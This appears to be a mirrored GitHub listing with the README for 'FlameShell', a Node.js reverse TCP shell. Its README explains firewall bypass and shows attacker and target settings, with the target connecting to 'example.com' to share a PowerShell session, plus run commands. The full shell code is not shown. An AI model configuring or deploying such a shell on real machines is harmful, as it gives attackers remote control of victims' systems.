https://github.com/parzival-space/tcp-shell
A simple reverse TCP shell.
https://github.com/parzival-space/tcp-shell
javascript nodejs remote-shell reverse-shell tcp tcp-socket
Last synced: 5 months ago
JSON representation
A simple reverse TCP shell.
- Host: GitHub
- URL: https://github.com/parzival-space/tcp-shell
- Owner: parzival-space
- License: gpl-3.0
- Created: 2021-09-01T20:42:55.000Z (over 4 years ago)
- Default Branch: main
- Last Pushed: 2021-09-01T21:10:57.000Z (over 4 years ago)
- Last Synced: 2025-09-08T22:43:23.544Z (5 months ago)
- Topics: javascript, nodejs, remote-shell, reverse-shell, tcp, tcp-socket
- Language: JavaScript
- Homepage:
- Size: 14.6 KB
- Stars: 1
- Watchers: 1
- Forks: 2
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE.md
Awesome Lists containing this project
README

# FlameShell v1.0.0
I was actually quite bored as I created this project (or something like that).
This repository contains two scripts: attacker.js and target.js.
The attacker.js script acts as the server and the target.js script acts as the client.
A reverse shell is mostly used to bypass the target's firewall.
Instead of the attacker connecting to the target, the target connects to the attacker.
## Installation
There is no need to install anything.
This script comes with absolutely no dependencies.
All you need is a node.js installation.
## Usage
1. Prepare
1. Configure the scripts
Before you can use this script, you need change the settings in attacker.js and target.js to your needs.
For example, if your domain is "example.com" and you want your targets to connect to port 1234 using powershell, you need to change the following lines in attacker.js:
```js
#!/bin/node
/* -------------------------------------------------------------------------- */
/* Server */
/* -------------------------------------------------------------------------- */
/* -------------------------------- Settings -------------------------------- */
// The port the server will listen on
const port = 1234;
...
```
And in target.js:
```js
#!/bin/node
/* -------------------------------------------------------------------------- */
/* Client */
/* -------------------------------------------------------------------------- */
/* -------------------------------- Settings -------------------------------- */
// The target server to connect to.
const host = 'example.com';
// The port to connect to.
const port = 1234;
// The shell you want to share.
const shell = 'powershell';
...
```
2. Attack
Run the scripts
Now you can run the scripts.
Start Server:
```bash
$ node ./attacker.js
```
Start Client:
```bash
$ node ./target.js
```
## Demo
attacker.js

target.js